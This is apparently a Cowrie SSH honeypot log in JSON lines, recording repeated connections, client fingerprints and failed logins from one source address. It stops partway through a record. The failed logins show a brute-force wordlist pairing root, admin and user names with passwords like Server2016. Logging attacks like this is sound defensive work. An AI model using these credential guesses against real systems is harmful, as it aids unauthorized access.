{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:43.672572Z","src_ip":"203.115.100.24","session":"03f680b59ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2012","message":"login attempt [user2/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:44.622609Z","src_ip":"203.115.100.24","session":"03f680b59ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:45.101655Z","src_ip":"203.115.100.24","session":"03f680b59ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.81775426864624,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:45.314223Z","src_ip":"223.178.209.121","session":"51ed312cbe43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":52847,"dst_ip":"10.17.0.5","dst_port":22,"session":"bda3c1da2a12","protocol":"ssh","message":"New connection: 203.115.100.24:52847 (10.17.0.5:22) [session: bda3c1da2a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:45.371124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:45.375698Z","src_ip":"203.115.100.24","session":"bda3c1da2a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:45.593880Z","src_ip":"203.115.100.24","session":"bda3c1da2a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2016","message":"login attempt [root/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:46.501179Z","src_ip":"203.115.100.24","session":"bda3c1da2a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:46.971431Z","src_ip":"203.115.100.24","session":"bda3c1da2a12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":52956,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed4543f1bf49","protocol":"ssh","message":"New connection: 203.115.100.24:52956 (10.17.0.5:22) [session: ed4543f1bf49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:47.207142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:47.217286Z","src_ip":"203.115.100.24","session":"ed4543f1bf49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:47.439132Z","src_ip":"203.115.100.24","session":"ed4543f1bf49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2016","message":"login attempt [admin/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:48.354993Z","src_ip":"203.115.100.24","session":"ed4543f1bf49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:48.832996Z","src_ip":"203.115.100.24","session":"ed4543f1bf49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":53057,"dst_ip":"10.17.0.5","dst_port":22,"session":"2da6cdb8e81d","protocol":"ssh","message":"New connection: 203.115.100.24:53057 (10.17.0.5:22) [session: 2da6cdb8e81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:49.088838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:49.093006Z","src_ip":"203.115.100.24","session":"2da6cdb8e81d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:49.325514Z","src_ip":"203.115.100.24","session":"2da6cdb8e81d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2016","message":"login attempt [user/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:50.284652Z","src_ip":"203.115.100.24","session":"2da6cdb8e81d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:50.757848Z","src_ip":"203.115.100.24","session":"2da6cdb8e81d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":53155,"dst_ip":"10.17.0.5","dst_port":22,"session":"783f3b9a4ca2","protocol":"ssh","message":"New connection: 203.115.100.24:53155 (10.17.0.5:22) [session: 783f3b9a4ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:50.991897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:51.001429Z","src_ip":"203.115.100.24","session":"783f3b9a4ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:51.224765Z","src_ip":"203.115.100.24","session":"783f3b9a4ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2016","message":"login attempt [user2/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:52.150863Z","src_ip":"203.115.100.24","session":"783f3b9a4ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:52.629250Z","src_ip":"203.115.100.24","session":"783f3b9a4ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":53260,"dst_ip":"10.17.0.5","dst_port":22,"session":"77ba61f2ff72","protocol":"ssh","message":"New connection: 203.115.100.24:53260 (10.17.0.5:22) [session: 77ba61f2ff72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:52.851240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:52.854649Z","src_ip":"203.115.100.24","session":"77ba61f2ff72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:53.065241Z","src_ip":"203.115.100.24","session":"77ba61f2ff72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2019","message":"login attempt [root/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:53.937577Z","src_ip":"203.115.100.24","session":"77ba61f2ff72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:54.411795Z","src_ip":"203.115.100.24","session":"77ba61f2ff72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":53348,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9c45f008919","protocol":"ssh","message":"New connection: 203.115.100.24:53348 (10.17.0.5:22) [session: d9c45f008919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:54.643852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:54.648673Z","src_ip":"203.115.100.24","session":"d9c45f008919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:54.868006Z","src_ip":"203.115.100.24","session":"d9c45f008919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2019","message":"login attempt [admin/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:55.774817Z","src_ip":"203.115.100.24","session":"d9c45f008919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:56.257264Z","src_ip":"203.115.100.24","session":"d9c45f008919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":53438,"dst_ip":"10.17.0.5","dst_port":22,"session":"3991449304af","protocol":"ssh","message":"New connection: 203.115.100.24:53438 (10.17.0.5:22) [session: 3991449304af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:56.493422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:56.498232Z","src_ip":"203.115.100.24","session":"3991449304af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:56.725642Z","src_ip":"203.115.100.24","session":"3991449304af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2019","message":"login attempt [user/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:57.660475Z","src_ip":"203.115.100.24","session":"3991449304af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:58.143920Z","src_ip":"203.115.100.24","session":"3991449304af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":53529,"dst_ip":"10.17.0.5","dst_port":22,"session":"961969e3fb48","protocol":"ssh","message":"New connection: 203.115.100.24:53529 (10.17.0.5:22) [session: 961969e3fb48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:58.398598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:58.406483Z","src_ip":"203.115.100.24","session":"961969e3fb48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:58.643697Z","src_ip":"203.115.100.24","session":"961969e3fb48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":34092,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f4b73bf1350","protocol":"ssh","message":"New connection: 43.160.206.186:34092 (159.203.135.109:22) [session: 1f4b73bf1350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:58.690271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:58.695085Z","src_ip":"43.160.206.186","session":"1f4b73bf1350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 